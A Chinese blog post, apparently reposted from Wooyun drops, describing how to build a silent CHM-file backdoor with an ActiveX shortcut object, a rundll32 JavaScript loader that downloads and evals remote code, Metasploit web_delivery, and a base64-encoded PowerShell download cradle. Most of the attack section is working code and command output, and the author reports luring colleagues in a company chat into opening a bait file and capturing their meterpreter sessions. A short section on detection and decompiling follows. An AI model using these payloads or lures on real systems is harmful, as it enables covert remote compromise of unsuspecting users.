0x00 简介


之前写过一篇关于客户端钓鱼的文章:《使用powershell Client进行有效钓鱼》中,在使用各个Client进行测试的过程中,个人发现CHM文件是最好用的一个,但是其缺点就是会弹黑框,这样就会让被攻击者察觉。那么怎么让他不弹黑框呢?那就是本文要介绍的内容啦~

0x01 CHM 简介


在介绍怎么使用CHM来作为后门之前,首先要知道CMH是什么东西。

CHM(Compiled Help Manual)即“已编译的帮助文件”。它是微软新一代的帮助文件格式,利用HTML作源文,把帮助内容以类似数据库的形式编译储存。CHM支持Javas cript、VBs cript、ActiveX、Java Applet、Flash、常见图形文件(GIF、JPEG、PNG)、音频视频文件(MID、WAV、AVI)等等,并可以通过URL与Internet联系在一起。因为使用方便,形式多样也被采用作为电子书的格式。

0x02 CHM 制作


CHM的制作方法很多。有多款工具可以使用,这里就不在做详细的介绍了。本次测试使用了EasyCHM来制作CHM文件,使用起来非常简单。

新建如下目录,文件内容随意:

打开EasyCHM,新建->浏览。选择该目录。默认文件类型:

点击确认,即可看到预览的CHM文件:

选择编译,即可编译成CHM文件。

0x03 CHM Execute Command


14年的时候@ithurricanept 在twitter上发了一个demo,通过CHM运行计算器:

利用代码如下:

<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut"><PARAM name="Button" value="Bitmap::shortcut"><PARAM name="Item1" value=',calc.exe'><PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>

将以上代码写入html,置于工程目录进行编译,生成CHM文件,运行此文件,弹出计算器:

0x04 去除弹框


有测试过nishang Out-CHM 的同学会发现,运行生成的CHM文件的时候会看到明显的弹框。就像

某个晚上突然脑洞了一下,想到了一个好的方式来让他不显示弹框,即结合使用JavaScript Backdoor。经过测试,成功实现在不弹框的情况下获取meterpreter会话,此次测试使用一个我修改过的python版 JSRat.ps1 ,地址为:MyJSRat。使用方式详见 readme。

以下为完整的测试过程:

1、结合CHM + JSBackdoor

使用交互模式的JSRat server:

python MyJSRat.py -i 192.168.1.101 -p 8080

访问 http://192.168.1.101:8080/wtf 获取攻击代码如下:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.1.101:8080/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

经过多次测试,成功将以上命令写入chm,其Html代码为:

<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
This is a demo ! <br>
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut"><PARAM name="Button" value="Bitmap::shortcut"><PARAM name="Item1" value=',rundll32.exe,javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.1.101:8080/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}'><PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>

编译以后运行,可以成功获取JS交互shell:

直接执行cmd /c command 是会有黑框的,可以使用run来避免显示黑框。执行run以后,输入 whoami > e:\1.txt 之后通过read 来获取回显。

2、获取meterpreter会话

此次测试获取meterpreter会话的方式是通过执行powershell命令,直接获取,当获取客户端JS 交互shell之后自动执行powershell命令,获取meterpreter会话。具体操作如下:

开启MSF web_delivery:

~  msfconsole -Lq
msf > use exploit/multi/script/web_delivery
msf exploit(web_delivery) > set target 2
target => 2
msf exploit(web_delivery) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(web_delivery) > set lhost 192.168.1.101
lhost => 192.168.1.101
msf exploit(web_delivery) > set lport 6666
lport => 6666
msf exploit(web_delivery) > set SRVPORT 8081
SRVPORT => 8081
msf exploit(web_delivery) > set uripath /
uripath => /
msf exploit(web_delivery) > exploit
[*] Exploit running as background job.
msf exploit(web_delivery) >
[*] Started reverse TCP handler on 192.168.1.101:6666
[*] Using URL: http://0.0.0.0:8081/
[*] Local IP: http://192.168.1.101:8081/
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -c $n=new-object net.webclient;$n.proxy=[Net.WebRequest]::GetSystemWebProxy();$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $n.downloadstring('http://192.168.1.101:8081/');

装有powershell的客户端执行以下命令则可获取meterpreter会话:

powershell.exe -nop -w hidden -c $n=new-object net.webclient;$n.proxy=[Net.WebRequest]::GetSystemWebProxy();$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $n.downloadstring('http://192.168.1.101:8081/');

由于存在特殊字符,我们可以把以上代码编码为base64格式,将以下代码存入power.txt

$n=new-object net.webclient;
$n.proxy=[Net.WebRequest]::GetSystemWebProxy();
$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;
IEX $n.downloadstring('http://192.168.1.101:8081/');

执行以下命令:

cat power.txt | iconv --to-code UTF-16LE |base64

最终要执行的powershell命令为:

powershell -ep bypass -enc IAAkAG4APQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AAoAIAAkAG4ALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsACgAgACQAbgAuAFAAcgBvAHgAeQAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMAYQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoAIABJAEUAWAAgACQAbgAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADEAMAAxADoAOAAwADgAMQAvACcAKQA7AA

使用执行命令模式直接获取meterpreter会话:

python MyJSRat.py -i 192.168.1.101 -p 8080 -c "powershell -ep bypass -enc IAAkAG4APQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AAoAIAAkAG4ALgBwAHIAb

测试过程中,从运行CHM到获取meterpreter,客户端无明显异常,全程无黑框弹出,获取到meterpreter会话如下图:

3、是否被杀?

可能很多人会问,会不会被杀,下面是virscan的查杀结果:

http://r.virscan.org/report/6173ee9c62d29806bb84035a8f1738ba

0x05 利用场景

一张图说明(让我猜猜你会不会点):

注: 随便找了几个漏洞利用工具修改了文件名,并不代表原作者分享的工具有问题。

0x06 实际测试


是用上述方式制作chm文件,命名为一个比较有吸引力的名字,比如在公司技术群发了一个名字为"制作免杀后门.chm"的文件,实际测试结果如下图:

成功获取多个人的meterpreter会话。

0x07 防御


目前我还没查到什么防御的姿势,知道的小伙伴可以分享一下。最好就是提高个人安全意识,对于这类文件,多注意一下,尽量别乱点,如果非要点,可以放到虚拟机里面。使用procexp.exe可以看到存在后门的chm文件会开启新的进程:

对于碰到这种后门,怎么溯源呢,其实也很简单,chm是可以反编译为html的。 使用windows自带的hh.exe 则可进行反编译。命令如下:

C:\Users\evi1cg\Desktop>hh -decompile test poc.chm #test 为当前目录的test文件夹

执行结果如下:

0x08 小结


此次测试就是对一些已知的攻击手法进行结合,结果是让此捆绑后门更加隐蔽,近乎“完美”,美中不足的是在文件开启的时候会出现短暂的卡顿。有时候小漏洞结合起来能造成大危害,小手法结合起来也能成大杀器。本着分享的精神将此姿势介绍,希望小伙伴们能免受其害。

0x09 参考


  1. https://twitter.com/ithurricanept/status/534993743196090368
  2. https://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1
  3. http://drops.wooyun.org/tips/11764
  4. https://github.com/samratashok/nishang

本文由evi1cg原创并首发于乌云drops

转载于:https://www.cnblogs.com/croso/p/5380318.html

高级组合技打造“完美” 捆绑后门相关推荐

  1. WooyunWifi高级组合技一套连击拿SHELL

    lxj616 · 2015/08/14 10:25 0x00 概述 十步之外,可取汝SHELL 本文介绍了使用WooyunWifi+BDFproxy+Metasploit的GETSHELL工具组合,并 ...

  2. sp工具中最疼的是_阴阳师打造完美的双面就业SP酒吞 说说最靠谱的御魂携带法...

    对于阴阳师近期讨论度极高的新SP式神鬼王酒吞童子,其具体的养成,也就是御魂携带方法估计很多玩家很感兴趣,本次就来教大家如何打造完美的双就业面SP酒吞,一起来看看吧. PVE 目前酒吞在PVE中的定位很 ...

  3. GitHub Pages + Hexo + NexT + Typora + WhatsNote打造完美个人知识共享博客

    GitHub Pages + Hexo + NexT + Typora + WhatsNote打造完美个人知识共享博客 一.目标 二.理念 三.准备工作 1. 工具 2. 过程 四.实现过程 1. 搭 ...

  4. GameMaker Studio 中的组合技(Combo)设置

    引言 这期我们来看看如何设置一个基本的连击系统. 同样,本文依旧面对新手. 概述:组合技,取消和连续技 在我们开始之前,我想指出有不同种类的组合技.一般来说,一个组合就是当一个攻击一个接一个地连接,你 ...

  5. 支持python开发的环境有哪些变化_Python开发实践:打造完美的项目工程环境

    在程序开发时候一套好的开发环境和工具栈,可以帮我们极大的提高开发的效率,避免把大量时间浪费在周边琐事上.本文以Python为例,教大家如何快速打造完美的Python项目开发环境:内容涵盖了模块依赖管理 ...

  6. linux修改权限后不能开机,打造完美Linux系统:疑难杂症的解决(转)

    打造完美Linux系统:疑难杂症的解决(转)[@more@] 如果谁说他的Linux从来没有遇到"疑难杂症",我觉得是不可信的,就算是操作界面最友好的Window XP也时常遇到各 ...

  7. 企业级系统应用,高级组合查询示例讲解 - Jeecg实战

    企业级系统应用,高级组合查询示例讲解 - Jeecg实战   ---数据多维度查询 经常会有人问:JEECG高级查询怎么用,实现机制是怎样的? 今天为大家揭开这层面纱,让大家了解实质,使用它更快速的构 ...

  8. Android 打造完美的侧滑菜单/侧滑View控件

    概述 Android 打造完美的侧滑菜单/侧滑View控件,完全自定义实现,支持左右两个方向弹出,代码高度简洁流畅,兼容性高,控件实用方便. 详细 代码下载:http://www.demodashi. ...

  9. 产品经理学习---人性七宗罪:打造完美产品的金钥匙

    那些我们不愿承认的人性七宗罪,恰好是打造产品的最佳依据,正视人性之恶,打造产品之美. 但丁在<神曲>中称人有七宗罪:傲慢,嫉妒,暴怒,懒惰,贪婪,贪吃和色欲.个人认为七宗罪其实是人的本能, ...

最新文章

  1. YOLOv4实用训练实践
  2. 二次开发photoshop_Photoshop 101:Web开发人员简介
  3. 给脚本添加可执行权限,并执行脚本 转
  4. springmvc十一: @RequestMapping-ant风格的url
  5. Kibana查询说明
  6. xxx定律-poj-3782
  7. .NET混淆器 Dotfuscator如何保护应用程序?控制流了解一下!
  8. Django笔记01-基础:一个完美主义的web框架
  9. 树莓派 pip安装mysql_树莓派 pip 手动安装
  10. mapper的更多细节,日志配置、核心文件的配置等
  11. 南阳理工ACM 2括号配对问题
  12. Citrix XenApp/XenDesktop 7.15 LTSR发布
  13. Racket编程指南——1 欢迎来到Racket!
  14. 量化投资学习——一份高频因子的研报综述
  15. 七战DTCC铸成ACE Director 去哪儿网周彦伟畅聊数据库的十八般武艺
  16. Android 虚拟机访问本地服务器
  17. 学习记录669@项目管理之项目合同管理
  18. $.ajaxSetup is not a function
  19. 微信支付 普通商户版 服务商版 银行服务商版 区别
  20. ArcMap设置地图显示标注

热门文章

  1. csdn无人驾驶汽车_无人驾驶汽车100年历史
  2. packETH发包工具使用教程
  3. 定期存单丢了被别人捡到,里面的存款会不会被领走?
  4. 每月1000元存入余额宝或银行,十年后会有多少?
  5. 银行流水你真的会看吗?
  6. matlab 随机森林算法_随机森林算法
  7. oracle轮询方式循环输出,LGWR的两种模式(POST/WAIT和POLLING)
  8. java右键弹出菜单_javascript自定义右键弹出菜单实现方法
  9. CNN反向传播卷积核翻转
  10. python之socket